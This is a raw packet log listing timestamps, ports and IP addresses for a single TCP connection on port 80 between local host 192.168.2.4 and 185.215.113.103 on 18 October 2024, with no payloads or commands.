Oct 18, 2024 15:04:59.950448990 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.950473070 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.950489044 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.950505018 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.950527906 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.950526953 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.950526953 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.950526953 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.950545073 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.950562000 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.950562954 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.950598955 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.950664043 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.950680971 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.950695992 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.950711966 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.950714111 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.950731039 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.950747013 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.950747967 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.950763941 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.950814009 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.950835943 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.950853109 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.950854063 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.950854063 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.950854063 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.950869083 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.950886965 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.950903893 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.950906992 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.950906992 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.950927019 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.950953960 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.950968027 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.950970888 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.950983047 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.950999975 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.951014996 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.951018095 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.951018095 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.951030970 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.951066971 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.951132059 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.951145887 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.951160908 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.951178074 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.951194048 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.951208115 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.951214075 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.951214075 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.951224089 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.951240063 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.951284885 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.951287985 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.951287985 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.951298952 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.951314926 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.951328993 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.951330900 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.951345921 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.951363087 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.951364040 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.951391935 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.951406956 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.951410055 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.951426983 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.951442003 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.951488972 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.951503992 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.951508999 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.951508999 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.951525927 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.951540947 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.951555967 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.951571941 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.951607943 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.951607943 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.951617002 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.951632977 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.951683998 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.951699018 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.951710939 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.951716900 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.951731920 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.951749086 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.951762915 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.951790094 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.951796055 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.951796055 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.951796055 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.951872110 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.951886892 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.951901913 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.951916933 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.951919079 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.951932907 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.951947927 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.951963902 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.951963902 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.951975107 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.951988935 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.952003956 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.952018976 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.952044010 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.952060938 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.952069044 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.952069044 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.952076912 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.952081919 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.952094078 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.952110052 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.952119112 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.952126980 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.952157974 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.952168941 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.952184916 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.952205896 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.952214003 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.952239990 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.952265024 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.952279091 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.952294111 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.952294111 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.952295065 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.952311993 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.952327013 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.952353954 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.952369928 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.952374935 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.952374935 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.952388048 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.952403069 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.952418089 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.952434063 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.952449083 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.952452898 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.952452898 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.952462912 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.952472925 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.952478886 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.952495098 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:59.952505112 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.952541113 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.955794096 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:59.956063986 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.034970045 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.034996986 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.035013914 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.035104036 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.066015005 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.066031933 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.066046953 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.066092968 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.066095114 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.066095114 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.066122055 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.066138029 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.066157103 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.066171885 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.066188097 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.066188097 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.066190004 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.066226959 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.066279888 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.066294909 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.066319942 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.066334963 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.066351891 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.066359997 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.066366911 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.066371918 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.066384077 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.066401005 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.066421986 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.066432953 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.066551924 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.066580057 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.066595078 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.066634893 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.066960096 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.066998005 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.067013979 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.067027092 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.067064047 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.067065954 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.067080021 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.067095995 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.067114115 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.067121029 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.067137957 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.067153931 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.067205906 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.067234993 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.067250013 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.067251921 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.067265034 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.067281961 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.067298889 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.067305088 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.067305088 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.067374945 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.067481041 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.067537069 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.067558050 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.067565918 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.067589045 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.067603111 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.067604065 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.067620039 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.067622900 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.067663908 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.067678928 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.067693949 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.067708969 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.067745924 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.067745924 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.067748070 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.067763090 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.067790985 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.067806959 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.067812920 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.067821980 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.067836046 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.067858934 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.067867994 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.067878008 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.067893028 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.067893982 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.067910910 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.067922115 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.067928076 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.067944050 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.067959070 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.067960978 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.068006039 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.068017006 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.068032026 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.068046093 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.068058968 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.068070889 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.068085909 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.068099976 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.068108082 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.068116903 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.068133116 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.068150043 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.068156004 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.068156004 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.068166018 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.068191051 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.068195105 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.068209887 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.068236113 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.068249941 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.068264961 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.068278074 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.068278074 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.068290949 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.068306923 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.068309069 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.068324089 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.068341970 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.068356037 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.068372011 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.068377018 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.068377018 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.068423986 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.068449020 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.068464994 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.068485022 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.068485022 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.068514109 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.068530083 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.068653107 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.068691015 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.068691015 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.068705082 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.068721056 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.068758011 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.068763971 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.068779945 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.068795919 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.068811893 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.068829060 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.068829060 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.068845987 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.068859100 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.068905115 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.068912983 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.068928003 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.068975925 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.068979979 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.068994999 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.069020987 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.069036961 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.069041014 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.069052935 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.069067001 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.069104910 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.069104910 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.069142103 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.069168091 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.069169998 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.069184065 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.069207907 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.069225073 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.069232941 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.069248915 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.069267988 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.069284916 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.069288015 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.069288015 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.069302082 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.069318056 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.069334030 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.069344044 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.069353104 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.069384098 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.069423914 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.069427013 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.069442034 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.069462061 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.069540977 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.069551945 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.069567919 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.069582939 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.069591045 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:05:00.069601059 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.069629908 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.069643974 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.069660902 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:05:00.069670916 CEST	50042	80	192.168.2.4	185.215.113.103
